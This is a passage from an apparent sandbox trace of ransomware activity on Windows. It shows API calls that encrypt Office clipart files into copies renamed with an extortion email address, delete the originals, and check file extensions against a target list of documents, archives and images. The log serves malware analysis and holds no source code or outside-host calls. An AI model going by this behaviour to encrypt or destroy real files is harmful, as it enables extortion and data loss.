returned 1 [0058.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0058.990] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf")) returned 1 [0058.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0058.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0058.990] lstrlenW (lpString=".doc") returned 4 [0058.990] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.990] lstrlenW (lpString=".docx") returned 5 [0058.990] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.991] lstrlenW (lpString=".pdf") returned 4 [0058.991] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.991] lstrlenW (lpString=".xls") returned 4 [0058.991] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.991] lstrlenW (lpString=".xlsx") returned 5 [0058.991] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.991] lstrlenW (lpString=".ppt") returned 4 [0058.991] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0058.991] lstrlenW (lpString=".zip") returned 4 [0058.991] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.991] lstrlenW (lpString=".rar") returned 4 [0058.991] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.991] lstrlenW (lpString=".bz2") returned 4 [0058.991] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.991] lstrlenW (lpString=".7z") returned 3 [0058.991] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0058.991] lstrlenW (lpString=".dbf") returned 4 [0058.991] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0058.991] lstrlenW (lpString=".1cd") returned 4 [0058.991] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0058.991] lstrlenW (lpString=".jpg") returned 4 [0058.991] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.991] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0058.991] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0058.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0058.992] GetLastError () returned 0x0 [0058.992] ReadFile (in: hFile=0x394, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x2cec, lpOverlapped=0x0) returned 1 [0059.333] WriteFile (in: hFile=0x2d8, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x2cf0, lpOverlapped=0x0) returned 1 [0059.334] ReadFile (in: hFile=0x394, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0059.334] WriteFile (in: hFile=0x2d8, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0059.335] SetEndOfFile (hFile=0x2d8) returned 1 [0059.335] CloseHandle (hObject=0x2d8) returned 1 [0059.335] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0059.335] SetEndOfFile (hFile=0x394) returned 1 [0059.336] CloseHandle (hObject=0x394) returned 1 [0059.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0059.336] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 1 [0059.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0059.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0059.337] lstrlenW (lpString=".doc") returned 4 [0059.337] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.337] lstrlenW (lpString=".docx") returned 5 [0059.337] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.337] lstrlenW (lpString=".pdf") returned 4 [0059.337] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.337] lstrlenW (lpString=".xls") returned 4 [0059.337] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.337] lstrlenW (lpString=".xlsx") returned 5 [0059.337] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.337] lstrlenW (lpString=".ppt") returned 4 [0059.337] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0059.337] lstrlenW (lpString=".zip") returned 4 [0059.337] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.337] lstrlenW (lpString=".rar") returned 4 [0059.337] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.337] lstrlenW (lpString=".bz2") returned 4 [0059.337] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.337] lstrlenW (lpString=".7z") returned 3 [0059.337] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0059.337] lstrlenW (lpString=".dbf") returned 4 [0059.337] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0059.337] lstrlenW (lpString=".1cd") returned 4 [0059.337] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0059.337] lstrlenW (lpString=".jpg") returned 4 [0059.337] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.338] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0059.338] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0059.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0059.338] GetLastError () returned 0x0 [0059.338] ReadFile (in: hFile=0x394, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0xeb8, lpOverlapped=0x0) returned 1 [0059.355] WriteFile (in: hFile=0x2d8, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec0, lpOverlapped=0x0) returned 1 [0059.356] ReadFile (in: hFile=0x394, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0059.356] WriteFile (in: hFile=0x2d8, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0059.356] SetEndOfFile (hFile=0x2d8) returned 1 [0059.356] CloseHandle (hObject=0x2d8) returned 1 [0059.356] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0059.357] SetEndOfFile (hFile=0x394) returned 1 [0059.357] CloseHandle (hObject=0x394) returned 1 [0059.357] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0059.358] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 1 [0059.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0059.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0059.358] lstrlenW (lpString=".doc") returned 4 [0059.358] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.358] lstrlenW (lpString=".docx") returned 5 [0059.358] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.358] lstrlenW (lpString=".pdf") returned 4 [0059.358] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.358] lstrlenW (lpString=".xls") returned 4 [0059.358] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.358] lstrlenW (lpString=".xlsx") returned 5 [0059.358] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.358] lstrlenW (lpString=".ppt") returned 4 [0059.358] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0059.358] lstrlenW (lpString=".zip") returned 4 [0059.358] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.358] lstrlenW (lpString=".rar") returned 4 [0059.358] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.358] lstrlenW (lpString=".bz2") returned 4 [0059.358] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.358] lstrlenW (lpString=".7z") returned 3 [0059.359] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0059.361] lstrlenW (lpString=".dbf") returned 4 [0059.361] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0059.361] lstrlenW (lpString=".1cd") returned 4 [0059.361] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0059.361] lstrlenW (lpString=".jpg") returned 4 [0059.361] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.361] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0059.361] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0059.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0059.362] GetLastError () returned 0x0 [0059.362] ReadFile (in: hFile=0x394, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x532, lpOverlapped=0x0) returned 1 [0059.386] WriteFile (in: hFile=0x2d8, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x540, lpOverlapped=0x0) returned 1 [0059.387] ReadFile (in: hFile=0x394, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0059.387] WriteFile (in: hFile=0x2d8, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0059.387] SetEndOfFile (hFile=0x2d8) returned 1 [0059.387] CloseHandle (hObject=0x2d8) returned 1 [0059.646] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0059.646] SetEndOfFile (hFile=0x394) returned 1 [0059.647] CloseHandle (hObject=0x394) returned 1 [0059.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0059.647] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 1 [0059.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0059.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0059.647] lstrlenW (lpString=".doc") returned 4 [0059.647] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.647] lstrlenW (lpString=".docx") returned 5 [0059.647] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.647] lstrlenW (lpString=".pdf") returned 4 [0059.647] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.647] lstrlenW (lpString=".xls") returned 4 [0059.648] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.648] lstrlenW (lpString=".xlsx") returned 5 [0059.648] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.648] lstrlenW (lpString=".ppt") returned 4 [0059.648] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0059.648] lstrlenW (lpString=".zip") returned 4 [0059.648] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.648] lstrlenW (lpString=".rar") returned 4 [0059.648] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.648] lstrlenW (lpString=".bz2") returned 4 [0059.648] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.648] lstrlenW (lpString=".7z") returned 3 [0059.648] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0059.648] lstrlenW (lpString=".dbf") returned 4 [0059.648] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0059.648] lstrlenW (lpString=".1cd") returned 4 [0059.648] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0059.648] lstrlenW (lpString=".jpg") returned 4 [0059.648] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.648] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0059.648] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0059.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0059.649] GetLastError () returned 0x0 [0059.649] ReadFile (in: hFile=0x394, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x414, lpOverlapped=0x0) returned 1 [0059.768] WriteFile (in: hFile=0x2d8, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x420, lpOverlapped=0x0) returned 1 [0059.769] ReadFile (in: hFile=0x394, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0059.769] WriteFile (in: hFile=0x2d8, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0059.769] SetEndOfFile (hFile=0x2d8) returned 1 [0059.847] CloseHandle (hObject=0x2d8) returned 1 [0059.847] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0059.848] SetEndOfFile (hFile=0x394) returned 1 [0059.848] CloseHandle (hObject=0x394) returned 1 [0059.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0059.849] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 1 [0059.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0059.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0059.849] lstrlenW (lpString=".doc") returned 4 [0059.849] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.849] lstrlenW (lpString=".docx") returned 5 [0059.849] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.849] lstrlenW (lpString=".pdf") returned 4 [0059.849] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.849] lstrlenW (lpString=".xls") returned 4 [0059.849] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.849] lstrlenW (lpString=".xlsx") returned 5 [0059.849] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.849] lstrlenW (lpString=".ppt") returned 4 [0059.849] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0059.850] lstrlenW (lpString=".zip") returned 4 [0059.850] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.850] lstrlenW (lpString=".rar") returned 4 [0059.850] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.850] lstrlenW (lpString=".bz2") returned 4 [0059.850] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.850] lstrlenW (lpString=".7z") returned 3 [0059.850] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0059.850] lstrlenW (lpString=".dbf") returned 4 [0059.850] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0059.850] lstrlenW (lpString=".1cd") returned 4 [0059.850] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0059.850] lstrlenW (lpString=".jpg") returned 4 [0059.850] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.856] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0059.857] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0059.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0059.857] GetLastError () returned 0x0 [0059.857] ReadFile (in: hFile=0x328, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x31f4, lpOverlapped=0x0) returned 1 [0059.891] WriteFile (in: hFile=0x348, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x3200, lpOverlapped=0x0) returned 1 [0059.894] ReadFile (in: hFile=0x328, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0059.894] WriteFile (in: hFile=0x348, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0059.894] SetEndOfFile (hFile=0x348) returned 1 [0059.894] CloseHandle (hObject=0x348) returned 1 [0059.966] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0059.966] SetEndOfFile (hFile=0x328) returned 1 [0059.971] CloseHandle (hObject=0x328) returned 1 [0059.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0059.973] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 1 [0059.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0059.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0059.974] lstrlenW (lpString=".doc") returned 4 [0059.974] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.974] lstrlenW (lpString=".docx") returned 5 [0059.974] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.974] lstrlenW (lpString=".pdf") returned 4 [0059.974] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.974] lstrlenW (lpString=".xls") returned 4 [0059.974] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.975] lstrlenW (lpString=".xlsx") returned 5 [0059.975] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.975] lstrlenW (lpString=".ppt") returned 4 [0059.975] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0059.975] lstrlenW (lpString=".zip") returned 4 [0059.975] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.975] lstrlenW (lpString=".rar") returned 4 [0059.975] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.975] lstrlenW (lpString=".bz2") returned 4 [0059.975] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.975] lstrlenW (lpString=".7z") returned 3 [0059.975] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0059.975] lstrlenW (lpString=".dbf") returned 4 [0059.975] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.975] lstrlenW 